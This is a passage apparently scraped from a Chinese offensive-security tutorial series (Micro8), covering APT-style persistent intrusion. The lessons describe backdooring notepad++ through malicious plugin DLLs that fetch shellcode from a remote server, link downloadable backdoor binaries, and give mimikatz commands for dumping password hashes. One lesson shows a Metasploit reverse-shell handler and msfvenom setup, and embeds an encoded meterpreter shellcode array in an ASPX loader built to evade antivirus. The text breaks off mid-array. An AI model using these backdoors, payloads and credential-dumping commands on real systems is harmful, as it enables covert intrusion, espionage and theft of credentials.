——锁定特定目标:针对特定政府或企业,长期进行有计划性、组织性的窃取情报行为,针对被锁定对象寄送几可乱真的社交工程恶意邮件,如冒充客户的来信,取得在计算机植入恶意软件的第一个机会。 ——安装远程控制工具:攻击者建立一个类似僵尸网络Botnet的远程控制架构,攻击者会定期传送有潜在价值文件的副本给命令和控制服务器(C&C Server)审查。将过滤后的敏感机密数据,利用加密的方式外传。 一次针对特定对象,长期、有计划性渗透的本质是什么?窃取数据下载到本地,或者以此次渗透来达到变现目的。引用如图: 一次具有针对性的渗透,绝对不单单是以渗透DMZ区为主,重要资料一般在内网服务器区(包括但不限制于数据库服务器,文件服务器,OA服务器),与内网办公区(包括但不限制于个人机,开发机,财务区)等。而往往这样的高级持续渗透,不能是一气呵成,需要一定时间内,来渗透到资料所在区域。而这里其中一个重要的环节就是对后门的要求,在渗透期间内(包括但不限制于一周到月甚至到年)以保持后续渗透。 传统型的后门不在满足攻击者的需求,而传统型的木马后门,大致可分为六代: 第一代,是最原始的木马程序。主要是简单的密码窃取,通过电子邮件发送信息等,具备了木马最基本的功能。 第二代,在技术上有了很大的进步,冰河是中国木马的典型代表之一。 第三代,主要改进在数据传递技术方面,出现了ICMP等类型的木马,利用畸形报文传递数据,增加了杀毒软件查杀识别的难度。 第四代,在进程隐藏方面有了很大改动,采用了内核插入式的嵌入方式,利用远程插入线程技术,嵌入DLL线程。或者挂接PSAPI,实现木马程序的隐藏,甚至在Windows NT/2000下,都达到了良好的隐藏效果。灰鸽子和蜜蜂大盗是比较出名的DLL木马。 第五代,驱动级木马。驱动级木马多数都使用了大量的Rootkit技术来达到在深度隐藏的效果,并深入到内核空间的,感染后针对杀毒软件和网络防火墙进行攻击,可将系统SSDT初始化,导致杀毒防火墙失去效应。有的驱动级木马可驻留BIOS,并且很难查杀。 第六代,随着身份认证UsbKey和杀毒软件主动防御的兴起,黏虫技术类型和特殊反显技术类型木马逐渐开始系统化。前者主要以盗取和篡改用户敏感信息为主,后者以动态口令和硬证书攻击为主。PassCopy和暗黑蜘蛛侠是这类木马的代表。 以远控举例,远控最开始生成的RAT功能一体化(包括但不限制于文件传输,命令执行等),后衍生成生成RAT支持插件式来达到最终目的。 以上的几代包括以上远控共同点,以独立服务或者独立进程,独立端口等来到达目的。难以对抗目前的反病毒反后门程序。那么传统型后门权限维持就不能满足目前的需求。 以第二季的demo举例,它无自己的进程,端口,服务,而是借助notepad++(非dll劫持)来生成php内存shell(这个过程相当于插件生成),并且无自启,当服务器重启后,继续等待管理员使用notepad++,它属于一个AB链后门,由A-notepad生成B-shell,以B-shell去完成其他工作。如果继续改进Demo,改造ABC链后门,A负责生成,B负责清理痕迹,C负责工作呢?这是一个攻击者应该思考的问题。 而后门的主要工作有2点,1越过安全产品。2维持持续渗透权限。 文章的结尾,这不是一个notepad++的后门介绍,它是一个demo,一个类后门,一个具有源码可控类的后门。 Micropoor Copyright © 2019 Micro8. All Rights Reserved. 遵循 知识共享 署名-非商业性使用 4.0 协议发布 修订时间: 2019-02-23 "},"Content/61-70.html":{"url":"Content/61-70.html","title":"61-70课","keywords":"","body":"第六十一课:高级持续渗透-第五季关于后门 第六十二课:高级持续渗透-第六季关于后门 第六十三课:高级持续渗透-第七季demo的成长 第六十四课:高级持续渗透-第八季demo便是远控 第六十五课:离线提取目标机hash补充 第六十六课:借助aspx对payload进行分离免杀 第六十七课:meterpreter下的irb操作第一季 第六十八课:基于Ruby内存加载shellcode第一季 第六十九课:渗透,持续渗透,后渗透的本质 第七十课:ftp一句话下载payload补充 Copyright © 2019 Micro8. All Rights Reserved. 遵循 知识共享 署名-非商业性使用 4.0 协议发布 修订时间: 2019-03-03 "},"Chapter1/61-70/61_高级持续渗透-第五季关于后门.html":{"url":"Chapter1/61-70/61_高级持续渗透-第五季关于后门.html","title":"第六十一课:高级持续渗透-第五季关于后门","keywords":"","body":"这一季依然是一个过渡季,根据之前的连载中,了解到后门是渗透测试的分水岭,它分别体现了攻击者对目标机器的熟知程度,环境,编程语言,了解对方客户,以及安全公司的本质概念。也同样检测了防御者需要掌握后门的基本查杀,与高难度查杀,了解被入侵环境,目标机器。以及后门或者病毒可隐藏角落,或样本取证,内存取证等。对各种平台查杀熟知,对常见第三方软件的了解程度。既然题目以“艺术”为核心,那么怎样把后门“艺术”行为化呢? 依然遵循以往,引入概念,只有概念清晰,本质清晰,对于攻击者,这样的后门更具有持久性,潜伏性,锁定性等。对于防御者,更能熟知反后门对抗,对待常用第三方软件的检测方式方法,切断攻击者的后渗透攻击。溯源或取证攻击者。 在高级持续渗透测试中,PTES的渗透测试执行标准主要分为6段1报。既: 1.前期交互阶段 2.情报收集阶段 3.威胁建模阶段 4.漏洞分析阶段 5.渗透攻击阶段 6.后渗透攻击阶段 7.报告编写 这里要讲的不是打破它的流程,而是归纳总结到类,明确了类的方向,对待一个未知的目标网络环境,更能清晰的进行攻击或者对抗。 提权的本质是什么? 信息搜集,搜集目标补丁情况,了解目标第三方利用等。 内网渗透的本质是什么? 信息搜集,搜集目标内网的组织架构,明确渗透诉求,在渗透过程中,当获取到内网组织架构图,如鱼得水。 渗透与高级持续渗透的本质区别是什么? 区别于“持续”,可长期根据攻击者的诉求来潜伏持久的,具有针对性的信息获取。 (而在高级持续渗透它又分为2类,一类持久渗透,一类即时目标渗透) 溯源取证与对抗溯源取证的本质是什么? 信息搜集与对抗信息搜集。 以上4条,清晰的明确了类,以及类方向,在一次完整的实战过程中,攻击者与防御者是需要角色对换的,前期,攻击者信息搜集,防御者对抗信息搜集。而后渗透,攻击者对抗信息搜集,防御者信息搜集。 而在两者后的持续把控权限,是随机并且无规律的角色对换过程。主要表现之一为后门。这一句话也许很难理解,举例: 持续把控权限过程中,攻击者需要对抗防御者的信息搜集,而又要根据对方行为制定了解防御者的相关动作以及熟知目标环境的信息搜集安全时间。(包括但不限制于如防御者近期对抗查杀动作,防御者的作息规律,目标环境的作息规律等来制定相关计划)。 而在持续把控权限的过程中,防御者需要定期不完全依赖安全产品对自身环境的信息进行搜集(包括但不限制于日志异常,登陆异常,数据异常,第三方篡改日常等),一旦发现被攻击或者异常,对抗攻击者搜集,并且搜集攻击信息,攻击残留文件,排查可能沦陷的内网群,文件等。 在一次的引用百度百科对APT的解释:APT是黑客以窃取核心资料为目的,针对客户所发动的网络攻击和侵袭行为,是一种蓄谋已久的“恶意商业间谍威胁”。这种行为往往经过长期的经营与策划,并具备高度的隐蔽性。APT的攻击手法,在于隐匿自己,针对特定对象,长期、有计划性和组织性地窃取数据,这种发生在数字空间的偷窃资料、搜集情报的行为,就是一种“网络间谍”的行为。 实战中的APT又主要分为2大类,一类持久渗透,一类即时目标渗透,主要区别于高级持续渗透是6段1报,即时目标渗透是5段1清1报,共同点都是以黑客以窃取核心资料为目的,并且是一种蓄谋已久的长期踩点针对目标监视(包括但不限制于服务更新,端口更新,web程序更新,服务器更新等)。不同点主要区别于即时目标渗透清晰目标网络构架或是明确诉求,得到目标诉求文件,随即销毁自身入侵轨迹。结束任务。而即时目标渗透往往伴随着传统的人力情报的配合进行网络行动。 在即时目标渗透测试中,主要分为5段1清1报。既: 前期交互阶段 情报收集阶段 威胁建模阶段 漏洞分析阶段 渗透攻击阶段 清理攻击痕迹 报告编写 持久渗透以时间换空间为核心的渗透,以最小化被发现,长期把控权限为主的渗透测试。 即时目标渗透则相反,放大已知条件,关联已知线索,来快速入侵,以达到诉求。 为了更好的解释APT即时目标渗透,举例某实战作为demo(由于是为了更好的解释即时目标渗透,所以过程略过),大部分图打码,见谅。 任务背景: 任务诉求:需要得知周某某的今年采购的其中一个项目具体信息。 已知条件:该成员是xxx某大型公司。负责XXXX的采购人员。配合人力得知姓名,电话,身份证,照片等。 任务时间:一周之内 制定计划:找到开发公司,获取源码,代码审计,得到shell,拿到服务器,得到域控(或者终端管理)。得到个人机。下载任务文件。 任务过程:得知该XXX公司xxxx网站是某公司出品,得到某公司对外宣传网站,并且得到该开发公司服务器权限,下载源码模板。 源码审计过程略过。得到webshell 提权略过。得到服务器权限。 内网渗透略过,配合人力情报,大致清楚目标内网架构。直奔内网终端管理系统。 查看在线机器,查找目标人物。 任务推送执行: 目标回链: 目标桌面截图:确定为目标人物 下载任务文件后,清理入侵痕迹。任务完成。 那么持久渗透,即时目标渗透的主要表现区别即为后持续渗透,无后门的安装,无再次连接目标。以及传统人力情报的配合。 那么在demo中,如果需要长期跟踪,并且对方的内网中有多款安全产品,那么就要为它来制定一款针对该目标的后门。在传统后门中,大多数只考虑目标机系统环境,那么题目为“后门”的艺术,在今天强大的安全产品中对抗升级中,后门也开始加入了人性化因素。以及传统后门的特性变更:如无进程,无服务,无端口,无自启,无文件等,来附属在第三方上。根据目标环境的人为特点,上线时间,操作时间。来制定一次后门的唤醒时间。需要了解目标经常使用的第三方软件,来制定后门类型。(参考第一季)。 如何把后门定制到更贴近目标,来对抗反病毒,反后门查杀。利用人为化来启动,或者第三方唤醒,这应该是值得攻击者思考的问题。 而明确了类与类的方向,如何阻断攻击者的信息搜集,并且加大攻击者的暴露踪迹,减少非必要的第三方,这应该是指的防御者思考的问题。 后门在对抗升级中,越贴近目标的后门越隐蔽,越贴近人性化的后门越持久,而由于目前存储条件等因素,还不能够全流量的全部记录,而是全流量的部分流量记录。导致不能完全依赖安全产品,并且在实战中,往往并不是每一台机器(包括但不限制于服务器,个人机,办公及)都遵循安全标准。尤其是在当今VPN办公普遍的情况下,家用个人机为突破点的例子层出不穷。其他非人为因素等。导致了当下的安全再次回归到安全的初衷:人。是的,人是安全的尺度。 /*段子*/ 可能某老夫跳出来,大喊,后门的人性化制作就这一个也能算艺术? 在现实中,我很喜欢问别人三个问题: 你用过最糟糕的后门是什么样的? 你用过最精彩的后门是什么样的? 你最理想的后门是什么样的? 问题1.能大致分析出对方的入行时间 问题2.能大致的判断出对方目前的技术水平 问题3.能直接判断出对方对技术的追求是怎样的心态 后门是一种艺术。 在文章的结尾处,我想贴几个图。 当初:多么简单的知识,都会找到你想要的教程。多么复杂的知识都会找到相关的文章。 现在:想学习的人,找不到入门的知识,与可以建立兴趣的文章。想分享的人却又胆战心惊。 来自知乎某大V的回忆当初: 黑吧的logo还是曾经的那个logo,联盟的国徽还是那个国徽,只是人的心变了。 附录: PTES中文版 http://netsec.ccert.edu.cn/hacking/files/2011/07/PTES_MindMap_CN1.pdf Micropoor Copyright © 2019 Micro8. All Rights Reserved. 遵循 知识共享 署名-非商业性使用 4.0 协议发布 修订时间: 2019-02-23 "},"Chapter1/61-70/62_高级持续渗透-第六季关于后门.html":{"url":"Chapter1/61-70/62_高级持续渗透-第六季关于后门.html","title":"第六十二课:高级持续渗透-第六季关于后门","keywords":"","body":" 本季是作《php安全新闻早八点-高级持续渗透-第一季关于后门》的补充。 https://micropoor.blogspot.com/2017/12/php.html 在第一季关于后门中,文章提到重新编译notepad++,来引入有目标源码后门构造。本季继续以notepad++作为demo,而本季引入无目标源码构造notepad++ backdoor。 针对服务器,或者个人PC,安装着大量的notepad++,尤其是在实战中的办公域,或者运维机等,而这些机器的权限把控尤为重要。 该系列仅做后门思路。 Demo 环境: Windows 2003 x64 Windows 7 x64 notepad++ 7.6.1 vs 2017 遵守第一季的原则,demo未做任何对抗安全软件,并且demo并不符合实战要求。仅提出思路。由于demo并未做任何免杀处理。导致反病毒软件报毒。如有测试,建议在虚拟机中进行测试。 Windows 2003: ip 192.168.1.119 开放端口: notepad++版本: 导入dll插件: notepad++ v7.6.x以上版本提示,后重新打开notepad++,来触发payload。 开放端口变化如下: msf连接: 后者的话: demo借助了notepad++的证书,在通过notepad++来调用自身。本季的demo并不符合实战要求。在实战中,当目标人启动notepad++时,或者抓取密码发送到指定邮箱,或者在做一次调起第四方后门等,这是每一位信息安全从业人员应该考虑的问题。 关于后门,无论是第一季还是最六季,都侧面的强调了shellcode的分离免杀,后 门”多链”的调用触发。同样,攻击分离,加大防御者的查杀成本,溯源成本,以及时间成本。给攻击者争取最宝贵的时间。 PS: 关于mimikatz的分离免杀参考上一季《体系的本质是知识点串联》, https://micropoor.blogspot.com/2018/12/blog-post.html。 本demo 不支持notepad++ v7.6版本。因为此问题为notepad++官方bug。7.6.1更新如下: 为此调试整整一天。才发现为官方bug。 Demo for dll: 由于demo并未做任何免杀处理。导致反病毒软件报毒。如有测试,建议在虚拟机中进行测试。demo仅做开放443端口。等待主机连接。 HTMLTags_x32.dll 大小: 73728 字节文件版本: 1.4.1.0 修改时间: 2018年12月31日, 18:51:20 MD5: FDF30DD5494B7F8C61420C6245E79BFE SHA1: D23B21C83A9588CDBAD81E42B130AFE3EDB53EBB CRC32: D06C6BD1 https://drive.google.com/open?id=1_sFKMWi6Zuy1_v82Ro1wZR8OrqKr7GD4 HTMLTags_x64.dll 大小: 88064 字节文件版本: 1.4.1.0 修改时间: 2018年12月31日, 18:51:09 MD5: D7355FF1E9D158B6F917BD63159F4D86 SHA1: 9E6BC1501375FFBC05A8E20B99DC032C43996EA3 CRC32: 606E5280 https://drive.google.com/open?id=1JwmW8KrxYoQ1Dk_VNtnDs0MxM6tuqCs\\_ Micropoor Copyright © 2019 Micro8. All Rights Reserved. 遵循 知识共享 署名-非商业性使用 4.0 协议发布 修订时间: 2019-02-23 "},"Chapter1/61-70/63_高级持续渗透-第七季demo的成长.html":{"url":"Chapter1/61-70/63_高级持续渗透-第七季demo的成长.html","title":"第六十三课:高级持续渗透-第七季demo的成长","keywords":"","body":"本季是作《PHP安全新闻早八点-高级持续渗透-第六季关于后门》的补充。 https://micropoor.blogspot.com/2018/12/php.html 原本以为第六季的demo便结束了notepad++ 但是demo系列的懿旨并没有按照作者的想法来表述。顾引入第七季。 在第一季关于后门中,文章提到重新编译notepad++,来引入有目标源码后门构造。 在第六季关于后门中,文章假设在不得知notepad++的源码,来引入无目标源码沟门构造。 而第七季关于后门中,让这个demo更贴合于实战。此季让这个demo成长起来。它的 成长痕迹分别为第一季,第六季,第七季。 该系列仅做后门思路。 懿旨:安全是一个链安全,攻击引入链攻击,后门引入链后门。让渗透变得更加有趣。 Demo 环境: Windows 2003 x64 Windows 7 x64 notepad++ 7.6.1,notepad++7.5.9 vs 2017 靶机以notepad++ 7.5.9为例: 默认安装notepad++流程图,如下:一路下一步。 目标机背景: windows 2003,x64,notepad++ 7.6.1,notepad++7.5.9,iis,aspx shell权限如下: notepad++7.5.9 安装路径:E:\\Notepad++\\ 插件路径:E:\\Notepad++\\plugins\\ 检查默认安装情况如下: 注:为了让本季的demo可观性,顾不打算隐藏自身。 端口如下: shell下写入:注: notepad++ v7.6以下版本插件路径为:X:\\Notepad++\\plugins\\ notepad++ v7.6以上版本插件路径为:X:\\Documents and Settings\\All Users\\Application Data\\Notepad++\\plugins 目标机管理员再次打开notepad++: 注:demo中不隐藏自身 端口变化如下: msf 连接目标机: 后者的话: 如果此demo,增加隐身自身,并demo功能为:增加隐藏帐号呢?或者往指定邮箱发目标机帐号密码明文呢?如果当第六季依然无法把该demo加入到实战中,那么请回顾。这样实战变得更为有趣。安全是一个链安全,攻击引入链攻击,后门引入链后门。让渗透变得更加有趣。 Micropoor Copyright © 2019 Micro8. All Rights Reserved. 遵循 知识共享 署名-非商业性使用 4.0 协议发布 修订时间: 2019-02-23 "},"Chapter1/61-70/64_高级持续渗透-第八季demo便是远控.html":{"url":"Chapter1/61-70/64_高级持续渗透-第八季demo便是远控.html","title":"第六十四课:高级持续渗透-第八季demo便是远控","keywords":"","body":" 本季是《高级持续渗透-第七季demo的成长》的延续。 https://micropoor.blogspot.com/2019/01/php-demo.html 在第一季关于后门中,文章提到重新编译notepad++,来引入有目标源码后门构造。 在第六季关于后门中,文章假设在不得知notepad++的源码,来引入无目标源码沟门构造。 在第七季关于后门中,文章让demo与上几季中对比,更贴近于实战。 而在第八季,继续优化更新demo,强调后门链在高级持续渗透中的作用。 该系列仅做后门思路。在上季中引用一个概念:“安全是一个链安全,攻击引入链攻击,后门引入链后门”,而”链”的本质是增加对手的时间成本,金钱成本,人力成本等。 第七季的文章结尾是这样写道: 而增改后门每一个功能,则需要更改demo的功能,或者增加几个功能的集合。那么它并不是一个标准的\"链\"后门。为了更好的强调“链”后门在高级持续渗透中的作用。第八季把demo打造成一个远控。以及可结合任意第三方渗透框架。 远控4四大要素: 可执行cmd命令 可远程管理目标机文件,文件夹等 可查看目标摄像头 注册表和服务操作 等等 而以上功能需要大量的代码以及大量的特征加入到该dll里,而此时,后门不在符合实战要求。从而需要重新构建后门。思路如下:dll不实现任何后门功能,只做“后门中间件”。而以上功能则第四方来实现。第三方作为与后门建立连接关系。 Demo 环境: Windows 2003 x64 Windows 7 x64 Debian notepad++ 7.6.1,notepad++7.5.9 vs 2017 Windows 2003: ip 192.168.1.119 开放端口: notepad++版本:notepad++v7.6以下版本插件直接放入X:\\Program Files(x86)\\Notepad++\\plugins目录下即可。 放置后门: 配置后门链:配置下载服务器: 配置msf: 再次打开notepad++: 变化如下: 下载服务器: msf服务器: 执行顺序为: notepad++挂起dll后门 后门访问下载服务器读取shellcode 根据shellcode内容,加载内存 执行shellcode Micropoor.rb核心代码如下: 而此时,无需在对dll的功能改变而更改目标服务器,只需更改下载服务器shellcode,以messagebox为例:msf生成shellcode如下: 替换下载服务器shellcode: 再次运行notepad++,弹出messagebox,而无msf payload功能。 后者的话:在第八季中,只需配置一次目标服务器,便完成了对目标服务器的“后门”全部配置。以减小最小化接触目标服务器,来减少被发现。而以后得全部配置,则在下载服务器中。来调用第四方框架。并且目标服务器只落地一次文件,未来其他功能都将会直接加载到内存。大大的增加了管理人员的对抗成本。“后门链”的本质是增加对手的时间成本,金钱成本,人力成本等。而对于攻击者来说,下载,执行,后门分别在不同的IP。对于对抗安全软件,仅仅需要做“落地”的exe的加解密shellcode。 附:Micropoor.rb 大小: 1830 字节 修改时间: 2019年1月4日, 15:46:44 MD5: D5647F7EB16C72B94E0C59D87F82F8C3 SHA1: BDCFB4A9B421ACE280472B7A8580B4D9AA97FC22 CRC32: ABAB591B https://drive.google.com/open?id=1ER6Xzcw4mfc14ql4LK0vBBuqQCd23Apg MicroNc.exe注:强烈建议在虚拟中测试,因Micropoor已被安全软件加入特征,故报毒。 大小: 93696 字节 修改时间: 2019年1月4日, 15:50:41 MD5: 42D900BE401D2A76B68B3CA34D227DD2 SHA1: B94E2D9828009D80EEDDE3E795E9CB43C3DC2ECE CRC32: CA015C3E https://drive.google.com/open?id=1ZKKPOdEcfirHb2oT1opxSKCZPSplZUSf Micropoor Copyright © 2019 Micro8. All Rights Reserved. 遵循 知识共享 署名-非商业性使用 4.0 协议发布 修订时间: 2019-02-23 "},"Chapter1/61-70/65_离线提取目标机hash补充.html":{"url":"Chapter1/61-70/65_离线提取目标机hash补充.html","title":"第六十五课:离线提取目标机hash补充","keywords":"","body":"上一季下载sys.hiv,sam.hiv,security.hiv文件后,以Linux下为背景来离线提取hash,本季补充以windows为背景离线提取hash。 mimikatz 2.0 二进制文件下载地址:https://github.com/gentilkiwi/mimikatz/releases/latest切到当下目录(注意X86,X64位) mimikatz离线导hash命令: mimikatz.exe \"lsadump::sam /system:sys.hiv /sam:sam.hiv\" exit mimikatz在线导hash命令: mimikatz.exe \"log Micropoor.txt\" \"privilege::debug\" \"token::elevate\" \"lsadump::sam\" \"exit\" 当然关于提取目标机的hash,msf也内置了离线提取与在线提取hash。 meterpreter下hashdump命令来提取hash(注意当前权限) msf同时也内置了mimikatz,meterpreter执行load mimikatz即可加载该插件。(这里一定要注意,msf默认调用于payload位数相同的mimikatz) 直接执行kerberos即可。 当然有些情况下,payload位数无误,权限无误,依然无法提取目标机的密码相关。需要调用mimikatz自定义命令: mimikatz_command -f sekurlsa::searchPasswords Micropoor Copyright © 2019 Micro8. All Rights Reserved. 遵循 知识共享 署名-非商业性使用 4.0 协议发布 修订时间: 2019-02-23 "},"Chapter1/61-70/66_借助aspx对payload进行分离免杀.html":{"url":"Chapter1/61-70/66_借助aspx对payload进行分离免杀.html","title":"第六十六课:借助aspx对payload进行分离免杀","keywords":"","body":"关于分离免杀,其他章节参考: 68课时payload特征,行为分离免杀思路第一季 69课时payload分离免杀思路第二季 本季针对目标环境支持aspx进行分离免杀。 靶机背景: Windows 2003 Debian Windows 2003: msf auxiliary(server/socks4a) > use exploit/multi/handler msf exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp_uuid payload => windows/meterpreter/reverse_tcp_uuid msf exploit(multi/handler) > set lhost 192.168.1.5 lhost => 192.168.1.5 msf exploit(multi/handler) > set lport 53 lport => 53 msf exploit(multi/handler) > set stageencoder x86/shikata_ga_nai stageencoder => x86/shikata_ga_nai msf exploit(multi/handler) > set EnableStageEncoding true EnableStageEncoding => true msf exploit(multi/handler) > set exitonsession false exitonsession => false msf exploit(multi/handler) > show options Module options(exploit/multi/handler): Name Current Setting Required Description ---- --------------- -------- ----------- Payload options (windows/meterpreter/reverse_tcp_uuid): Name Current Setting Required Description ---- --------------- -------- ----------- EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process,none) LHOST 192.168.1.5 yes The listen address LPORT 53 yes The listen port Exploit target: Id Name -- ---- 0 Wildcard Target msf exploit(multi/handler) > exploit -j -z payload生成: root@John:tmp# msfvenom -a x86 -p windows/meterpreter/reverse_tcp_uuid LHOST=192.168.1.5 LPORT=53 EnableStageEncoding=true stageencoder=x86/shikata_ga_nai -e x86/shikata_ga_nai -i 5 -f csharp /usr/share/metasploit-framework/lib/msf/core/opt.rb:55: warning: constant OpenSSL::SSL::SSLContext::METHODS is deprecated No platform was selected, choosing Msf::Module::Platform::Windows from the payload Found 1 compatible encoders Attempting to encode payload with 5 iterations of x86/shikata_ga_nai x86/shikata_ga_nai succeeded with size 401 (iteration=0) x86/shikata_ga_nai succeeded with size 428 (iteration=1) x86/shikata_ga_nai succeeded with size 455 (iteration=2) x86/shikata_ga_nai succeeded with size 482 (iteration=3) x86/shikata_ga_nai succeeded with size 509 (iteration=4) x86/shikata_ga_nai chosen with final size 509 Payload size: 509 bytes Final size of csharp file: 2610 bytes byte[] buf = new byte[509] { 0xd9,0xcc,0xd9,0x74,0x24,0xf4,0x5a,0xb8,0x76,0x1e,0x3d,0x54,0x2b,0xc9,0xb1, 0x79,0x83,0xc2,0x04,0x31,0x42,0x15,0x03,0x42,0x15,0x94,0xeb,0x83,0x64,0x7e, 0x17,0xee,0x5e,0xa8,0xce,0x7a,0x7b,0xa0,0xae,0xab,0x4a,0xf9,0x23,0x2f,0xa3, 0x05,0xf2,0x58,0x2d,0xf6,0x82,0xb7,0xaf,0x3d,0x91,0x7c,0x80,0x6a,0xd8,0xba, 0x3b,0x5a,0xda,0xb6,0xca,0xc8,0xeb,0x0d,0x8c,0x2a,0x94,0xc2,0x85,0x87,0xbc, 0x25,0xd1,0x6e,0x64,0xfe,0xc0,0xf6,0x5e,0x9f,0x15,0x80,0x17,0x8f,0xaa,0xae, 0xff,0x22,0x6b,0x6b,0x46,0x14,0x4c,0x66,0x50,0xcb,0x1f,0x29,0x00,0x27,0x4c, 0x19,0x12,0x09,0x98,0x38,0x3e,0x6c,0xa2,0x22,0x60,0xbf,0x99,0xdb,0xe7,0xc5, 0xa2,0x46,0x18,0xbd,0xc4,0xae,0xd7,0x82,0xe3,0xbd,0xfe,0x40,0x33,0xf6,0xd2, 0x7a,0x6b,0xe1,0x2f,0xf9,0x4b,0x8b,0xc3,0x57,0x26,0xfe,0xfd,0x91,0xf7,0x93, 0x4a,0xe1,0x85,0xeb,0x68,0x16,0x42,0xc9,0x6f,0xac,0xef,0x28,0x05,0x46,0x76, 0x1b,0xa3,0xb9,0xe9,0xbf,0x1a,0x56,0x3e,0xdc,0x4d,0xf3,0x9f,0x1b,0x09,0x55, 0x63,0x07,0xa3,0x59,0xbc,0x57,0xad,0x72,0x53,0x6b,0xff,0x49,0x10,0x47,0x21, 0x81,0xb8,0x0e,0x98,0xec,0x03,0xa3,0x9f,0x90,0xa3,0x15,0xc4,0x7d,0x87,0x5c, 0xcd,0xfe,0x32,0xca,0x11,0xf3,0x14,0x20,0xc8,0x92,0x36,0x88,0xe8,0xa1,0xad, 0xac,0x46,0x19,0x9f,0x04,0x76,0x01,0x41,0x3d,0x3a,0x7d,0x80,0xa2,0x4e,0x24, 0xcb,0x6b,0xe7,0xc9,0xc8,0xa4,0x01,0x17,0xb3,0x3a,0xd9,0x8e,0x9b,0x13,0x7b, 0xbf,0x49,0xf3,0xa9,0x71,0x57,0x49,0x54,0x60,0x32,0xf4,0x4e,0xfa,0x76,0xf8, 0x38,0x7c,0xb7,0x6b,0xac,0xc1,0x27,0x6b,0xae,0x80,0x10,0x85,0x98,0x61,0x42, 0x1e,0x1e,0xb0,0x58,0x6b,0xff,0x92,0x68,0xa5,0x29,0x45,0x99,0x9c,0xa2,0xc0, 0x29,0x53,0xc3,0x4b,0x76,0x72,0x17,0x60,0x3d,0xd8,0x11,0xce,0xc0,0xe6,0x34, 0xa1,0x26,0x65,0x98,0x79,0xf6,0x58,0x92,0x41,0x04,0xa0,0xf0,0x3d,0xf1,0x44, 0xb9,0x63,0x42,0x1a,0xac,0xad,0x67,0x98,0x8f,0x27,0x73,0xdd,0x54,0x61,0x65, 0xd1,0x72,0xc5,0x0f,0x8a,0xd3,0x80,0x6a,0xc3,0xf6,0x44,0x2f,0x1a,0x6a,0xe6, 0xfa,0x6c,0xa5,0x95,0x54,0x47,0x54,0xbf,0x66,0x78,0xfd,0x40,0x10,0x62,0xe8, 0xc0,0x93,0xa8,0x80,0xb9,0x37,0x4c,0x47,0x7b,0x61,0xc1,0x44,0x13,0x17,0x7f, 0xa2,0x73,0xcd,0x76,0x5f,0x2a,0x98,0x92,0x3e,0x09,0xa3,0x60,0xeb,0x41,0x1a, 0xf4,0xcb,0x6f,0x96,0xc6,0x3c,0xf0,0xda,0xc6,0x1c,0x1c,0xb6,0xa0,0x64,0x67, 0x7b,0xdc,0xe2,0x43,0xf1,0xee,0x3b,0x93,0xb9,0x95,0x29,0x01,0x97,0x8c,0x09, 0x72,0xee,0x78,0x1a,0x13,0x60,0xa6,0xac,0x05,0x99,0x6c,0x28,0x81,0x29,0x5d, 0x37,0x89,0x2a,0x3d,0xbf,0x0e,0xc7,0xeb,0x9f,0x44,0x1d,0xb3,0x4d,0x1a,0xbc, 0xe2,0x22,0xb2,0xb3,0xa6,0x43,0x3e,0x46,0xc5,0x0d,0xba,0x87,0xd5,0x6d,0x70, 0xfe,0x87,0x58,0x2c,0x4b,0x8c,0x2d,0x56,0x21,0x4a,0xbf,0x45,0x8c,0xd9,0x9e, 0xa0,0xe4,0x20,0x6b,0x7f,0xfb,0xd0,0x1e,0x88,0x13,0x6e,0x11,0xe9,0xd9 }; 其中分离shellcode。构造如下: 上线成功,关于分离免杀的思路不仅仅限制于脚本,pe文件。包括powershell等。这是每一个安全从业者应该考虑的问题。 附录:Source code delegate int MsfpayloadProc(); protected void Page_Load(object sender, EventArgs e) { byte[] buf = codeBytes[509] { 0xd9,0xcc,0xd9,0x74,0x24,0xf4,0x5a,0xb8,0x76,0x1e,0x3d,0x54,0x2b,0xc9,0xb1, 0x79,0x83,0xc2,0x04,0x31,0x42,0x15,0x03,0x42,0x15,0x94,0xeb,0x83,0x64,0x7e, 0x17,0xee,0x5e,0xa8,0xce,0x7a,0x7b,0xa0,0xae,0xab,0x4a,0xf9,0x23,0x2f,0xa3, 0x05,0xf2,0x58,0x2d,0xf6,0x82,0xb7,0xaf,0x3d,0x91,0x7c,0x80,0x6a,0xd8,0xba, 0x3b,0x5a,0xda,0xb6,0xca,0xc8,0xeb,0x0d,0x8c,0x2a,0x94,0xc2,0x85,0x87,0xbc, 0x25,0xd1,0x6e,0x64,0xfe,0xc0,0xf6,0x5e,0x9f,0x15,0x80,0x17,0x8f,0xaa,0xae, 0xff,0x22,0x6b,0x6b,0x46,0x14,0x4c,0x66,0x50,0xcb,0x1f,0x29,0x00,0x27,0x4c, 0x19,0x12,0x09,0x98,0x38,0x3e,0x6c,0xa2,0x22,0x60,0xbf,0x99,0xdb,0xe7,0xc5, 0xa2,0x46,0x18,0xbd,0xc4,0xae,0xd7,0x82,0xe3,0xbd,0xfe,0x40,0x33,0xf6,0xd2, 0x7a,0x6b,0xe1,0x2f,0xf9,0x4b,0x8b,0xc3,0x57,0x26,0xfe,0xfd,0x91,0xf7,0x93, 0x4a,0xe1,0x85,0xeb,0x68,0x16,0x42,0xc9,0x6f,0xac,0xef,0x28,0x05,0x46,0x76, 0x1b,0xa3,0xb9,0xe9,0xbf,0x1a,0x56,0x3e,0xdc,0x4d,0xf3,0x9f,0x1b,0x09,0x55, 0x63,0x07,0xa3,0x59,0xbc,0x57,0xad,0x72,0x53,0x6b,0xff,0x49,0x10,0x47,0x21, 0x81,0xb8,0x0e,0x98,0xec,0x03,0xa3,0x9f,0x90,0xa3,0x15,0xc4,0x7d,0x87,0x5c, 0xcd,0xfe,0x32,0xca,0x11,0xf3,0x14,0x20,0xc8,0x92,0x36,0x88,0xe8,0xa1,0xad, 0xac,0x46,0x19,0x9f,0x04,0x76,0x01,0x41,0x3d,0x3a,0x7d,0x80,0xa2,0x4e,0x24, 0xcb,0x6b,0xe7,0xc9,0xc8,0xa4,0x01,0x17,0xb3,0x3a,0xd9,0x8e,0x9b,0x13,0x7b, 0xbf,0x49,0xf3,0xa9,0x71,0x57,0x49,0x54,0x60,0x32,0xf4,0x4e,0xfa,0x76,0xf8, 0x38,0x7c,0xb7,0x6b,0xac,0xc1,0x27,0x6b,0xae,0x80,0x10,0x85,0x98,0x61,0x42, 0x1e,0x1e,0xb0,0x58,0x6b,0xff,0x92,0x68,0xa5,0x29,0x45,0x99,0x9c,0xa2,0xc0, 